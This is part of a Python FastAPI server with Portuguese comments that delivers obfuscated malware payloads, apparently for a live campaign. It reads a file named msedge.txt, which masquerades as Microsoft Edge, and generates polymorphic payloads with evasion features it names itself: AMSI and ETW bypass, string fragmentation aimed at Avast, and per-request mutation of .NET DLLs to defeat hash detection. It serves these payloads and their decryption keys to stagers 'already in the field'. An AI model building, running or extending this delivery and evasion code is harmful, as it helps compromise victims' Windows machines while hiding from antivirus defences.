        self.source_mtime: Dict[str, float] = {}
        self.locks: Dict[str, threading.Lock] = {}
        self.global_lock = threading.Lock()
        self.generator_queue = queue.Queue()
        self.running = True
        self.stats = {
            'generated': 0,
            'served_from_pool': 0,
            'served_generated': 0,
            'total_requests': 0,
        }
        
        for i in range(POOL_CONFIG['generator_threads']):
            t = threading.Thread(target=self._generator_worker, daemon=True)
            t.start()
    
    def _get_lock(self, folder: str) -> threading.Lock:
        with self.global_lock:
            if folder not in self.locks:
                self.locks[folder] = threading.Lock()
            return self.locks[folder]
    
    def _check_file_changed(self, folder: str) -> bool:
        """Verifica se o arquivo msedge.txt foi modificado"""
        base = SERVER_CONFIG['base_dir']
        src = SERVER_CONFIG['source_file']
        path = os.path.join(base, folder, src) if folder else os.path.join(base, src)
        
        if not os.path.exists(path):
            return False
        
        mtime = os.path.getmtime(path)
        cached_mtime = self.source_mtime.get(folder, 0)
        
        return mtime > cached_mtime
    
    def _load_source(self, folder: str) -> Optional[str]:
        base = SERVER_CONFIG['base_dir']
        src = SERVER_CONFIG['source_file']
        path = os.path.join(base, folder, src) if folder else os.path.join(base, src)
        
        if not os.path.exists(path):
            return None
        
        mtime = os.path.getmtime(path)
        
        # CORREÇÃO v8.2: Sempre verificar se arquivo mudou ANTES de usar cache
        if folder in self.source_cache and self.source_mtime.get(folder, 0) >= mtime:
            return self.source_cache[folder]
        
        try:
            with open(path, 'rb') as f:
                raw = f.read()
            code = raw[3:].decode('utf-8') if raw.startswith(b'\xef\xbb\xbf') else raw.decode('utf-8')
            
            was_cached = folder in self.source_cache
            self.source_cache[folder] = code
            self.source_mtime[folder] = mtime
            
            # LIMPAR POOL quando arquivo muda
            if folder in self.pools:
                old_size = len(self.pools[folder])
                with self._get_lock(folder):
                    self.pools[folder].clear()
                if was_cached:
                    print(f"[RELOAD] *** msedge.txt ATUALIZADO em {folder or 'raiz'}! Pool limpo ({old_size} payloads descartados) ***")
            
            print(f"[CACHE] Carregado {folder or 'raiz'}: {len(code):,} chars")
            return code
        except Exception as e:
            print(f"[ERRO] Carregar {path}: {e}")
            return None
    
    def _generator_worker(self):
        while self.running:
            try:
                folder = self.generator_queue.get(timeout=1)
                self._generate_one(folder)
                self.generator_queue.task_done()
            except queue.Empty:
                continue
            except Exception as e:
                print(f"[ERRO] Generator: {e}")
    
    def _generate_one(self, folder: str):
        source = self._load_source(folder)
        if not source:
            return
        
        try:
            start = time.time()
            # v9.4 (bug 1): (code, key_id, key_b64) direto do retorno - sem global
            protected, key_id, key_b64 = protect_code_complete(source)
            elapsed = (time.time() - start) * 1000
            
            with self._get_lock(folder):
                if folder not in self.pools:
                    self.pools[folder] = deque(maxlen=POOL_CONFIG['max_size'])
                if folder not in self.key_pools:
                    self.key_pools[folder] = deque(maxlen=POOL_CONFIG['max_size'])
                self.pools[folder].append(protected)
                if key_id and key_b64:
                    self.key_pools[folder].append((key_id, key_b64))
                    _store_key(key_id, key_b64)
            self.stats['generated'] += 1
            pool_size = len(self.pools.get(folder, []))
            print(f"[POOL] Gerado para {folder or 'raiz'} em {elapsed:.0f}ms (pool: {pool_size})")
        except Exception as e:
            print(f"[ERRO] Gerar código: {e}")
            import traceback
            traceback.print_exc()
    
    def _request_generation(self, folder: str, count: int = 1):
        for _ in range(count):
            self.generator_queue.put(folder)
    
    def get_code(self, folder: str) -> Optional[str]:
        self.stats['total_requests'] += 1
        folder = folder.strip('/') if folder else ""
        
        # v8.2 FIX: SEMPRE verificar arquivo antes de qualquer coisa
        base = SERVER_CONFIG['base_dir']
        src = SERVER_CONFIG['source_file']
        path = os.path.join(base, folder, src) if folder else os.path.join(base, src)
        
        if os.path.exists(path):
            current_mtime = os.path.getmtime(path)
            cached_mtime = self.source_mtime.get(folder, 0)
            
            if current_mtime > cached_mtime:
                print(f"[AUTO-RELOAD] ========================================")
                print(f"[AUTO-RELOAD] MUDANÇA DETECTADA em {folder or 'raiz'}!")
                print(f"[AUTO-RELOAD] Arquivo: {path}")
                print(f"[AUTO-RELOAD] mtime atual: {current_mtime}")
                print(f"[AUTO-RELOAD] mtime cache: {cached_mtime}")
                print(f"[AUTO-RELOAD] Limpando TUDO...")
                
                with self._get_lock(folder):
                    # Limpar pool de códigos
                    if folder in self.pools:
                        old_pool = len(self.pools[folder])
                        self.pools[folder].clear()
                        print(f"[AUTO-RELOAD] Pool limpo: {old_pool} payloads descartados")
                    
                    # Limpar pool de chaves
                    if folder in self.key_pools:
                        old_keys = len(self.key_pools[folder])
                        self.key_pools[folder].clear()
                        print(f"[AUTO-RELOAD] Keys limpos: {old_keys} chaves descartadas")
                    
                    # Limpar cache do source
                    if folder in self.source_cache:
                        del self.source_cache[folder]
                    if folder in self.source_mtime:
                        del self.source_mtime[folder]
                
                print(f"[AUTO-RELOAD] Pronto! Próximo payload será NOVO")
                print(f"[AUTO-RELOAD] ========================================")
        
        source = self._load_source(folder)
        if not source:
            return None
        
        with self._get_lock(folder):
            if folder in self.pools and self.pools[folder]:
                code = self.pools[folder].popleft()
                pool_size = len(self.pools[folder])
                self.stats['served_from_pool'] += 1
                
                if pool_size < POOL_CONFIG['refill_threshold']:
                    self._request_generation(folder, POOL_CONFIG['min_size'] - pool_size)
                
                print(f"[POOL] Servido do pool {folder or 'raiz'} (restam: {pool_size})")
                return code
        
        print(f"[POOL] Pool vazio para {folder or 'raiz'}, gerando...")
        # v9.4 (bug 1): (code, key_id, key_b64) direto do retorno - sem global
        protected, key_id, key_b64 = protect_code_complete(source)
        self.stats['served_generated'] += 1
        
        if key_id and key_b64:
            _store_key(key_id, key_b64)
        
        self._request_generation(folder, POOL_CONFIG['min_size'])
        
        return protected
    
    def warmup(self, folder: str):
        print(f"[WARMUP] Pré-gerando para {folder or 'raiz'}...")
        self._request_generation(folder, POOL_CONFIG['min_size'])
    
    def discover_folders(self) -> list:
        """Descobre todas as pastas que têm msedge.txt"""
        base = SERVER_CONFIG['base_dir']
        src = SERVER_CONFIG['source_file']
        folders = []
        
        # Verificar raiz
        if os.path.exists(os.path.join(base, src)):
            folders.append("")
        
        # Verificar subpastas
        try:
            for item in os.listdir(base):
                item_path = os.path.join(base, item)
                if os.path.isdir(item_path):
                    if os.path.exists(os.path.join(item_path, src)):
                        folders.append(item)
        except Exception as e:
            print(f"[ERRO] Ao escanear pastas: {e}")
        
        return folders
    
    def warmup_all(self):
        """Pré-aquece TODAS as pastas que têm msedge.txt"""
        folders = self.discover_folders()
        print(f"[WARMUP] Encontradas {len(folders)} pasta(s) com {SERVER_CONFIG['source_file']}")
        
        for folder in folders:
            self.warmup(folder)
            print(f"[WARMUP] Iniciado: {folder or 'raiz'}")
    
    def get_stats(self) -> dict:
        pools_info = {(f or 'raiz'): len(p) for f, p in self.pools.items()}
        return {
            'generated': self.stats['generated'],
            'served_from_pool': self.stats['served_from_pool'],
            'served_generated': self.stats['served_generated'],
            'total_requests': self.stats['total_requests'],
            'pool_sizes': pools_info,
            'queue_size': self.generator_queue.qsize(),
        }


code_pool = CodePool()


# ═══════════════════════════════════════════════════════════════════════════════
# SERVIDOR FASTAPI
# ═══════════════════════════════════════════════════════════════════════════════

try:
    from fastapi import FastAPI, Request
    from fastapi.responses import PlainTextResponse
    import uvicorn
except ImportError:
    print("ERRO: pip3 install fastapi uvicorn --break-system-packages")
    sys.exit(1)

app = FastAPI(title="Servidor Completo + Pool v8.6 Anti-Avast", version="8.6")
stats = {'start': None}


@app.middleware("http")
async def auth_middleware(request: Request, call_next):
    """v9.4 (bug 4): exige o header 'X-Token' em todos os endpoints (exceto /health)
    quando um token está configurado em SERVER_CONFIG['api_token'] ou na env
    PROTEGER_TOKEN. Token vazio/nao definido = autenticação desativada (mantém
    compatibilidade com stagers e payloads já em campo)."""
    token = SERVER_CONFIG.get('api_token') or os.environ.get('PROTEGER_TOKEN', '')
    if token and request.url.path != '/health':
        provided = request.headers.get('X-Token', '')
        if provided != token:
            return PlainTextResponse("Unauthorized", status_code=401)
    return await call_next(request)


@app.on_event("startup")
async def startup():
    stats['start'] = datetime.now()
    
    print()
    print("=" * 78)
    print("  SERVIDOR v8.6 - ANTI-AVAST (W10/W11 Home/Pro)")
    print("=" * 78)
    print("  [OK] ZERO PERDA DE CLIENTES - Sistema de pool")
    print("  [OK] PRE-AQUECE TODAS AS PASTAS AUTOMATICAMENTE")
    print("  [v8.6] Strings Win32 API fragmentadas (CreateProcessAsUser, etc)")
    print("  [v8.6] Strings de rede fragmentadas (TcpClient, WebClient)")
    print("  [v8.6] Caminhos de registro ofuscados")
    print("  [v8.5] DeflateStream em vez de AES")
    print("  [v8.2] AMSI bypass hibrido PS5/PS7 (pAppName null)")
    print("=" * 78)
    print()
    
    print(f"[OK] Pool: min={POOL_CONFIG['min_size']}, max={POOL_CONFIG['max_size']}")
    print(f"[OK] Threads geradoras: {POOL_CONFIG['generator_threads']}")
    print()
    
    # Pré-aquecer TODAS as pastas automaticamente
    code_pool.warmup_all()


@app.get("/proteger", response_class=PlainTextResponse)
async def proteger(folder: str = ""):
    start = time.time()
    code = code_pool.get_code(folder)

    if code is None:
        return PlainTextResponse(f"# ERRO: msedge.txt não encontrado em {folder or 'raiz'}", status_code=404)

    elapsed = (time.time() - start) * 1000
    print(f"[OK] {folder or 'raiz'} -> {len(code):,} chars em {elapsed:.0f}ms")

    # Checksum de integridade para o stager validar antes da execucao
    code_hash = hashlib.sha256(code.encode('utf-8')).hexdigest()
    headers = {"X-Payload-SHA256": code_hash}

    return PlainTextResponse(code, headers=headers)


@app.get("/warmup")
async def warmup(folder: str = ""):
    code_pool.warmup(folder)
    return {"status": "warming up", "folder": folder or "raiz"}


@app.get("/stats")
async def get_stats():
    return {
        'uptime': str(datetime.now() - stats['start']) if stats['start'] else None,
        'aes_fast': CRYPTO_FAST,
        'pool': code_pool.get_stats(),
        'config': {
            'sleep_jitter': CONFIG['enable_sleep_jitter'],
            'bypass': CONFIG['enable_bypass'],
            'string_encrypt': CONFIG['enable_string_encrypt'],
            'var_rename': CONFIG['enable_var_rename'],
            'func_rename': CONFIG['enable_func_rename'],
            'type_obfuscation': CONFIG['enable_type_obfuscation'],
            'comment_removal': CONFIG['enable_comment_removal'],
            'number_obfuscation': CONFIG['enable_number_obfuscation'],
            'disk_encrypt': CONFIG['enable_disk_encrypt'],
        }
    }


@app.get("/health")
async def health():
    folders = code_pool.discover_folders()
    return {
        "status": "ok", 
        "version": "8.6-anti-avast", 
        "compression": "deflate",
        "string_obfuscation": True,
        "pool": True,
        "asm_protection": "xor+chunks+reverse",
        "amsi_bypass": "pAppName_null_hybrid",
        "etw_bypass": True,
        "folders_detected": len(folders),
        "folders": [f or "raiz" for f in folders]
    }


@app.get("/k/{key_id}")
async def get_aes_key(key_id: str):
    keys = _load_keys()
    if key_id in keys:
        return PlainTextResponse(keys[key_id])
    return PlainTextResponse("", status_code=404)


@app.get("/assembly")
async def get_assembly():
    """v9.5.1: assembly AMSI bypass servido MUTADO por request — SHA256/MVID/
    timestamp/tamanho únicos a cada download (mesma mutação cirúrgica do
    polimorfismo de payload; contrato [R]::E()/[R]::D() preservado, IL intacta).
    Mata o hash fixo que era servido igual a todos os clientes (msedge.dat)."""
    try:
        raw = base64.b64decode(GLOBAL_ASM_B64, validate=True)
        return PlainTextResponse(base64.b64encode(_mutate_dotnet_dll(raw)).decode('ascii'))
    except Exception:
        return PlainTextResponse(GLOBAL_ASM_B64)


@app.get("/qh")
async def get_qh():
    """v9.5.1: DLL_Hide ($_qh) mutada por request — o st.php na VPS consome este
    endpoint via localhost (file_get_contents), eliminando o b64 fixo em claro
    do corpo do stager. Fonte: msedge.txt da raiz (cache/auto-reload do
    _load_source). Fallback defensivo: qualquer falha serve o b64 original."""
    source = code_pool._load_source("") or ""
    m = re.search(r"\$_qh\s*=\s*'(TVqQAAMA[A-Za-z0-9+/=]+)'", source)
    if not m:
        return PlainTextResponse("", status_code=404)
    try:
        raw = base64.b64decode(m.group(1), validate=True)
        return PlainTextResponse(base64.b64encode(_mutate_dotnet_dll(raw)).decode('ascii'))
    except Exception:
        return PlainTextResponse(m.group(1))


@app.get("/reload")
async def force_reload():
    """Forca reload do msedge.txt e limpa todo o cache/pool"""
    code_pool.source_cache.clear()
    code_pool.source_mtime.clear()
    for folder in list(code_pool.pools.keys()):
        with code_pool._get_lock(folder):
            code_pool.pools[folder].clear()
    print("[RELOAD] Cache e pools limpos! Proximo request vai usar msedge.txt novo.")
    code_pool.warmup_all()
    return {"status": "ok", "message": "Cache limpo e pools re-gerados"}

@app.get("/folders")
async def list_folders():
    """Lista todas as pastas detectadas com msedge.txt"""
    folders = code_pool.discover_folders()
    pool_stats = code_pool.get_stats()
    
    result = []
    for folder in folders:
        name = folder or "raiz"
        pool_size = pool_stats['pool_sizes'].get(name, 0)
        result.append({
            "folder": name,
            "pool_size": pool_size,
            "ready": pool_size > 0
        })
    
    return {"folders": result, "total": len(folders)}


if __name__ == "__main__":
    script = os.path.splitext(os.path.basename(sys.argv[0]))[0]
    uvicorn.run(f"{script}:app", host=SERVER_CONFIG['host'],
                port=SERVER_CONFIG['port'], workers=1, log_level="info")
